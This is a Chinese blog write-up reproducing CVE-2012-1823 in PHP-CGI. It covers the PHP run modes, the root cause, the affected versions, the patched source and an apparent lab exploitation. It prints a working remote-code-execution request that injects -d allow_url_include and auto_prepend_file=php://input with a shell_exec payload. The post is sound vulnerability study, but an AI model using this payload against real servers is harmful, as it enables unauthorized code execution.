CVE-2012-1823 漏洞复现

最新推荐文章于 2024-05-31 11:03:01 发布

Jay 17

最新推荐文章于 2024-05-31 11:03:01 发布

阅读量1.6k

点赞数 19

分类专栏： CVE复现文章标签：网络安全 web安全 PHP RCE 漏洞复现 CVE

本文链接：https://blog.csdn.net/Jayjay___/article/details/136089515

版权

CVE复现专栏收录该内容

14 篇文章 1 订阅

订阅专栏

CVE-2012-1823

PHP SAPI 与运行模式

首先，介绍一下PHP的运行模式。

下载PHP源码，可以看到其中有个目录叫sapi。sapi在PHP中的作用，类似于一个消息的“传递者”，比如在《Fastcgi协议分析 && PHP-FPM未授权访问漏洞 && Exp编写》一文中介绍的fpm，他的作用就是接受Web容器通过fastcgi协议封装好的数据，并交给PHP解释器执行。

除了fpm，最常见的sapi应该是用于Apache的mod_php，这个sapi用于php和apache之间的数据交换。

php-cgi也是一个sapi。在远古的时候，web应用的运行方式很简单，web容器接收到http数据包后，拿到用户请求的文件（cgi脚本），并fork出一个子进程（解释器）去执行这个文件，然后拿到执行结果，直接返回给用户，同时这个解释器子进程也就结束了。基于bash、perl等语言的web应用多半都是以这种方式来执行，这种执行方式一般就被称为cgi，在安装Apache的时候默认有一个cgi-bin目录，最早就是放置这些cgi脚本用的。

但cgi模式有个致命的缺点，众所周知，进程的创建和调度都是有一定消耗的，而且进程的数量也不是无限的。所以，基于cgi模式运行的网站通常不能同时接受大量请求，否则每个请求生成一个子进程，就有可能把服务器挤爆。于是后来就有了fastcgi，fastcgi进程可以将自己一直运行在后台，并通过fastcgi协议接受数据包，执行后返回结果，但自身并不退出。

php有一个叫php-cgi的sapi，php-cgi有两个功能，一是提供cgi方式的交互，二是提供fastcgi方式的交互。也就说，我们可以像perl一样，让web容器直接fork一个php-cgi进程执行某脚本；也可以在后台运行php-cgi -b 127.0.0.1:9000（php-cgi作为fastcgi的管理器），并让web容器用fastcgi协议和9000交互。

那我之前说的fpm又是什么呢？为什么php有两个fastcgi管理器？php确实有两个fastcgi管理器，php-cgi可以以fastcgi模式运行，fpm也是以fastcgi模式运行。但fpm是php在5.3版本以后引入的，是一个更高效的fastcgi管理器，其诸多优点我就不多说了，可以自己去翻翻源码。因为fpm优点更多，所以现在越来越多的web应用使用php-fpm去运行php。

PHP的四种运行模式

（1）CGI

全称是“通用网关接口”(Common Gateway Interface)，它可以让一个客户端，从网页浏览器向执行在Web服务器上的程序请求数据，描述的是客户端和这个程序之间传输数据的一种标准，另外CGI独立于任何语言，所以可以用任何一种语言编写，只要这种语言具有标准输入、输出和环境变量。如php,perl,tcl等。

CGI针对每个用户请求都要开单独的子进程去维护，所以数量多的时候会出现性能问题，最近几年很少用。

（2）FastCGI

CGI的升级版本，FastCGI 像是一个常驻 (long-live) 型的 CGI，它可以一直执行着，只要激活后，不会每次都要花费时间去解析php.ini、重新载入全部dll扩展并重初始化全部数据结构。

PHP使用PHP-FPM(FastCGI Process Manager)，全称PHP FastCGI进程管理器进行管理。

（3）Cli

PHP-CLI是PHP Command Line Interface的简称，就是PHP在命令行运行的接口，区别于在Web服务器上运行的PHP环境（PHP-CGI等）。

在php-cli模式下我们可以直接启动一个php文件并执行，就像workerman中一样

（4）Module加载

这种方式一般是针对apache而言的，它是把php作为apache的一个子模块来运行。

漏洞影响范围

漏洞影响版本 PHP < 5.3.12 、 PHP < 5.4.2

CVE-2012-1823是在php-cgi运行模式下出现的漏洞，其漏洞只出现在以cgi模式运行的php中。

漏洞成因

这个漏洞简单来说，就是用户请求的querystring（querystring字面上的意思就是查询字符串，一般是对http请求所带的数据进行解析，这里也是只http请求中所带的数据）被作为了php-cgi的参数，最终导致了一系列结果。

RFC3875中规定，当querystring中不包含没有解码的=号的情况下，要将querystring作为cgi的参数传入。所以Apache服务器按要求实现了这个功能。但PHP并没有注意到RFC的这一个规则，也许是曾经注意并处理了，处理方法就是web上下文中不允许传入参数。

From: Rasmus Lerdorf <rasmus <at> lerdorf.com>
Subject: [PHP-DEV] php-cgi command line switch memory check
Newsgroups: gmane.comp.php.devel
Date: 2004-02-04 23:26:41 GMT (7 years, 49 weeks, 3 days, 20 hours and 39 minutes ago)

In our SAPI cgi we have a check along these lines:

    if (getenv("SERVER_SOFTWARE")
        || getenv("SERVER_NAME")
        || getenv("GATEWAY_INTERFACE")
        || getenv("REQUEST_METHOD")) {
        cgi = 1;
    }

    if(!cgi) getopt(...)

As in, we do not parse command line args for the cgi binary if we are 
running in a web context.  At the same time our regression testing system 
tries to use the cgi binary and it sets these variables in order to 
properly test GET/POST requests.  From the regression testing system we 
use -d extensively to override ini settings to make sure our test 
environment is sane.  Of course these two ideas conflict, so currently our 
regression testing is somewhat broken.  We haven't noticed because we 
don't have many tests that have GET/POST data and we rarely build the cgi 
binary.

The point of the question here is if anybody remembers why we decided not 
to parse command line args for the cgi version?  I could easily see it 
being useful to be able to write a cgi script like:

  #!/usr/local/bin/php-cgi -d include_path=/path
  <?php
      ...
  ?>

and have it work both from the command line and from a web context.

As far as I can tell this wouldn't conflict with anything, but somebody at 
some point must have had a reason for disallowing this.

-Rasmus

但开发者是为了方便使用类似#!/usr/local/bin/php-cgi -d include_path=/path的写法来进行测试，认为不应该限制php-cgi接受命令行参数，而且这个功能不和其他代码有任何冲突。

于是，源程序中的if(!cgi) getopt(...)被删掉了。

根据RFC中对于command line的说明，命令行参数不光可以通过#!/usr/local/bin/php-cgi -d include_path=/path的方式传入php-cgi，更可以通过querystring的方式传入。

漏洞利用

cgi模式下有如下可控命令行参数可用：

-c 指定php.ini文件（PHP的配置文件）的位置
-n 不要加载php.ini文件
-d 指定配置项
-b 启动fastcgi进程
-s 显示文件源码
-T 执行指定次该文件
-h和-? 显示帮助

那么最简单的利用方式就是-s可以直接显示源码：

爆出源码说明漏洞存在。看network，版本是PHP 5.4.1，满足条件。

一个更好的利用方法是通过使用-d指定auto_prepend_file来制造任意文件包含漏洞，执行任意代码：（其中用“+”代替了“空格”，并将“=”和“:”进行了URL编码）

其原理是：利用可控命令行参数 -d 将allow_url_include 得值设为 on 并使用 auto_prepend_file 函数在页面顶部加载文件，而构造加载的文件为 php://input 读取的原始POST数据(也就是传输的数据 <?php echo shell_exec("ls");?> 的执行结果)，并传递到回应包里。构造请求包如下：

POST /index.php?-d+allow_url_include%3don+-d+auto_prepend_file%3dphp%3a//input HTTP/1.1
 
...
...
...

<?php echo shell_exec("ls");?>

在burp中构造执行的结果如下，成功拿到flag：

漏洞修复

修复原理是：获取querystring后进行解码，先跳过所有空白符（小于等于空格的所有字符），再判断第一个字符是否是-。如果第一个字符是-则设置skip_getopt，也就是不要获取命令行参数。修复源码如下

    if((query_string = getenv("QUERY_STRING")) != NULL && strchr(query_string, '=') == NULL) {
        /* we've got query string that has no = - apache CGI will pass it to command line */
        unsigned char *p;
        decoded_query_string = strdup(query_string);
        php_url_decode(decoded_query_string, strlen(decoded_query_string));
        for (p = decoded_query_string; *p && *p <= ' '; p++) {
        /* skip all leading spaces */
       }  
       if(*p == '-') {
          skip_getopt = 1;
       }
       free(decoded_query_string);
    }